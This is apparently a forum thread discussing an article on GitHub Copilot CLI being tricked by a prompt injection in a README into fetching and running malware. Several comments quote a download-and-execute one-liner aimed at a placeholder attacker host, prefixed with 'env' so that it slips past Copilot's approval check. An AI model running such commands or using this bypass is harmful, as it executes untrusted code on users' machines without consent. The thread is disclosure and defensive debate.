3 ms·

GitHub Copilot CLI downloads and executes malware

62 points by sarelta 7mo ago

hackerBanana 7mo ago
does everyone really need their own coding agent CLI? i feel like companies are skipping security to push out these tools
- jbloggs777 7mo ago
  There are many security and business risks in developing and releasing software (eg. supply chain attacks, misconfigurations & security-relevant bugs), and many ways to manage them. For companies, this is just another risk to be managed.
0xbadcafebee 7mo ago
Here is a malicious command that bypasses the shell command detection mechanisms: $ env curl -s "https://[ATTACKER_URL].com/bugbot" | env sh lol
binsquare 7mo ago
This isn't a novel technical vulnerability write up. The author had copilot read a "prompt injection" inside a readme while copilot is enabled to execute code or run bash commands (which user had to explicitly agree to). I highly suspect this account is astro-turfing for the site too... look at their sidebar: ``` Claude Cowork Exfiltrates Files HN #1 Superhuman AI Exfiltrates Emails HN #12 IBM AI ('Bob') Downloads and Executes Malware HN #1 Notion AI: Data Exfiltration HN #4 HuggingFace Chat Exfiltrates Data Screen takeover attack in vLex (legal AI acquired for $1B) Google Antigravity Exfiltrates Data HN #1 CellShock: Claude AI is Excel-lent at Stealing Data Hijacking Claude Code via Injected Marketplace Plugins Data Exfiltration from Slack AI via Indirect Prompt Injection HN #1 Data Exfiltration from Writer.com via Indirect Prompt Injection HN #5 ```
- crummy 7mo ago
  Isn’t the news that “curl whatever” will prompt the user for confirmation but “env curl whatever” won’t?
  - binsquare 7mo ago
    It's a valid observation that we can bypass the coding AI's user prompting gate with the right prompt. But is it a security issue on copilot that the user explicitly giving AI permission and instructed it to curl a url? Regardless of the coding agent, I suspect eventually all of the coding agents will behave the same with enough prompting regardless if it's a curl command to a malicious or legitimate site.
    - roywiggins 7mo ago
      The user didn't need to give it curl permission, that's the whole issue: > Copilot also has an external URL access check that requires user approval when commands like curl, wget, or Copilot’s built-in web-fetch tool request access to external domains [1]. > This article demonstrates how attackers can craft malicious commands that go entirely undetected by the validator - executing immediately on the victim’s computer with no human-in-the-loop approval whatsoever.
      - binsquare 7mo ago
        I think there's different conversations happening and I don't think we're having the same conversation. This is the claim by the article: "Vulnerabilities in the GitHub Copilot CLI expose users to the risk of arbitrary shell command execution via indirect prompt injection without any user approval" But this is not true, the author gave explicit permission on copilot startup to trust and execute code in the folder. Here's the exact starting screen on copilot: │ Confirm folder trust │ │ │ │ ╭─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮ │ │ │ /Users/me/Documents │ │ │ ╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯ │ │ │ │ Copilot may read files in this folder. Reading untrusted files may lead Copilot to behave in unexpected ways. With your permission, Copilot may execute │ │ code or bash commands in this folder. Executing untrusted code is unsafe. │ │ │ │ Do you trust the files in this folder? │ │ │ │ 1. Yes │ │ 2. Yes, and remember this folder for future sessions │ │ 3. No (Esc) │ And `The injection is stored in a README file from the cloned repository, which is an untrusted codebase.`
jasonhansel 7mo ago
> The env command is part of a hard-coded read-only command list stored in the source code. This means that when Copilot requests to run it, the command is automatically approved for execution without user approval. Wait, what? Sure, you can use "env" like "printenv", to display the environment, but surely its most common use is to run other commands, making its inclusion on this list an odd choice, to say the least.
yellow_lead 7mo ago
Skip to here: > However, if those shell commands (e.g., curl) are not detected, the URL permissions do not trigger. Here is a malicious command that bypasses the shell command detection mechanisms: > env curl -s "https://[ATTACKER_URL].com/bugbot https://[ATTACKER_URL].com/bugbot" | env sh So GH Copilot restricts curl, but not if it's run with `env` prepended.
- roywiggins 7mo ago
  It's because in this case "curl" is just a parameter to env. Env just happens to execute curl (or indeed sh, which seems, uh, worse). Seems nuts to have env or find on the default allowlist to me! Really these agents shouldn't be able to execute anything at all without approval by default, if you want to give it something like "find" or "env" to do safe things without approval, reimplement the functionality you want as a tool that can't do arbitrary code execution.
  - yellow_lead 7mo ago
    Yes, so there may be more of these too. But GitHub even declined to fix this.
    - 0xbadcafebee 7mo ago
      Honestly it's for the best. People keep thinking it's safe to use AI tools without VM, credential, and network sandboxing, the same way a person who's "only buzzed" thinks it's safe to drive a car. I wouldn't trust an agent's heuristics any more than a prisoner in a gun factory.
RandomGerm4n 7mo ago
This is precisely why tools such as Copilot CLI, Claude Code, OpenCode, etc. are best used within a VM or a rootless Podman container.
- bigstrat2003 7mo ago
  No, this is precisely why such tools are best unused at all. It is foolish in the extreme to give an LLM access to your system.
  - RandomGerm4n 7mo ago
    But it's not my system it's just a container that I can delete. If you already have the image it takes less than a second to deploy them. Podman is rootless, which makes it almost impossible for anything to escape from the container.

62 points by sarelta 7mo ago

does everyone really need their own coding agent CLI? i feel like companies are skipping security to push out these tools

jbloggs777 7mo ago
There are many security and business risks in developing and releasing software (eg. supply chain attacks, misconfigurations & security-relevant bugs), and many ways to manage them. For companies, this is just another risk to be managed.

0xbadcafebee 7mo ago

Here is a malicious command that bypasses the shell command detection mechanisms: $ env curl -s "https://[ATTACKER_URL].com/bugbot" | env sh lol

binsquare 7mo ago

This isn't a novel technical vulnerability write up. The author had copilot read a "prompt injection" inside a readme while copilot is enabled to execute code or run bash commands (which user had to explicitly agree to). I highly suspect this account is astro-turfing for the site too... look at their sidebar: ``` Claude Cowork Exfiltrates Files HN #1 Superhuman AI Exfiltrates Emails HN #12 IBM AI ('Bob') Downloads and Executes Malware HN #1 Notion AI: Data Exfiltration HN #4 HuggingFace Chat Exfiltrates Data Screen takeover attack in vLex (legal AI acquired for $1B) Google Antigravity Exfiltrates Data HN #1 CellShock: Claude AI is Excel-lent at Stealing Data Hijacking Claude Code via Injected Marketplace Plugins Data Exfiltration from Slack AI via Indirect Prompt Injection HN #1 Data Exfiltration from Writer.com via Indirect Prompt Injection HN #5 ```

crummy 7mo ago
Isn’t the news that “curl whatever” will prompt the user for confirmation but “env curl whatever” won’t?
- binsquare 7mo ago
  It's a valid observation that we can bypass the coding AI's user prompting gate with the right prompt. But is it a security issue on copilot that the user explicitly giving AI permission and instructed it to curl a url? Regardless of the coding agent, I suspect eventually all of the coding agents will behave the same with enough prompting regardless if it's a curl command to a malicious or legitimate site.
  - roywiggins 7mo ago
    The user didn't need to give it curl permission, that's the whole issue: > Copilot also has an external URL access check that requires user approval when commands like curl, wget, or Copilot’s built-in web-fetch tool request access to external domains [1]. > This article demonstrates how attackers can craft malicious commands that go entirely undetected by the validator - executing immediately on the victim’s computer with no human-in-the-loop approval whatsoever.
    - binsquare 7mo ago
      I think there's different conversations happening and I don't think we're having the same conversation. This is the claim by the article: "Vulnerabilities in the GitHub Copilot CLI expose users to the risk of arbitrary shell command execution via indirect prompt injection without any user approval" But this is not true, the author gave explicit permission on copilot startup to trust and execute code in the folder. Here's the exact starting screen on copilot: │ Confirm folder trust │ │ │ │ ╭─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮ │ │ │ /Users/me/Documents │ │ │ ╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯ │ │ │ │ Copilot may read files in this folder. Reading untrusted files may lead Copilot to behave in unexpected ways. With your permission, Copilot may execute │ │ code or bash commands in this folder. Executing untrusted code is unsafe. │ │ │ │ Do you trust the files in this folder? │ │ │ │ 1. Yes │ │ 2. Yes, and remember this folder for future sessions │ │ 3. No (Esc) │ And `The injection is stored in a README file from the cloned repository, which is an untrusted codebase.`

jasonhansel 7mo ago

> The env command is part of a hard-coded read-only command list stored in the source code. This means that when Copilot requests to run it, the command is automatically approved for execution without user approval. Wait, what? Sure, you can use "env" like "printenv", to display the environment, but surely its most common use is to run other commands, making its inclusion on this list an odd choice, to say the least.

yellow_lead 7mo ago

Skip to here: > However, if those shell commands (e.g., curl) are not detected, the URL permissions do not trigger. Here is a malicious command that bypasses the shell command detection mechanisms: > env curl -s "https://[ATTACKER_URL].com/bugbot https://[ATTACKER_URL].com/bugbot" | env sh So GH Copilot restricts curl, but not if it's run with `env` prepended.

roywiggins 7mo ago
It's because in this case "curl" is just a parameter to env. Env just happens to execute curl (or indeed sh, which seems, uh, worse). Seems nuts to have env or find on the default allowlist to me! Really these agents shouldn't be able to execute anything at all without approval by default, if you want to give it something like "find" or "env" to do safe things without approval, reimplement the functionality you want as a tool that can't do arbitrary code execution.
- yellow_lead 7mo ago
  Yes, so there may be more of these too. But GitHub even declined to fix this.
  - 0xbadcafebee 7mo ago
    Honestly it's for the best. People keep thinking it's safe to use AI tools without VM, credential, and network sandboxing, the same way a person who's "only buzzed" thinks it's safe to drive a car. I wouldn't trust an agent's heuristics any more than a prisoner in a gun factory.

RandomGerm4n 7mo ago

This is precisely why tools such as Copilot CLI, Claude Code, OpenCode, etc. are best used within a VM or a rootless Podman container.

bigstrat2003 7mo ago
No, this is precisely why such tools are best unused at all. It is foolish in the extreme to give an LLM access to your system.
- RandomGerm4n 7mo ago
  But it's not my system it's just a container that I can delete. If you already have the image it takes less than a second to deploy them. Podman is rootless, which makes it almost impossible for anything to escape from the container.